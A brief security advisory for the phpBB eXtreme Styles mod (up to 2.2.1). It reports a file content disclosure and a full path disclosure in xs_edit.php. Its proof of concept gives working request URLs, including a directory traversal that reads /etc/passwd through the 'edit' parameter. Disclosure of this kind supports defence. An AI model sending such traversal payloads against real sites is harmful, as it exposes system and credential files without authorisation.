eXtreme Styles mod <= 2.2.1 Multiple Vulnerabilities
====================================================
http://www.phpbbstyles.com/

Description
===========
These vulnerabilities could allow an attacker that has gained
administrative access view file content on the system.

1. Remote File Content Disclosure
=======================
In xs_edit.php, the "edit" request field is not properly sanitized.

2. Full Path Disclosure
=======================
In xs_edit.php, the "viewbackup" request field is not properly sanitized.

Proof of Concept
================
1. http://forum/admin/xs_edit.php?edit=../../../../etc/passwd
2. http://forum/admin/xs_edit.php?edit=&viewbackup=1

--------------
http://wtf.bz/

[ reply ]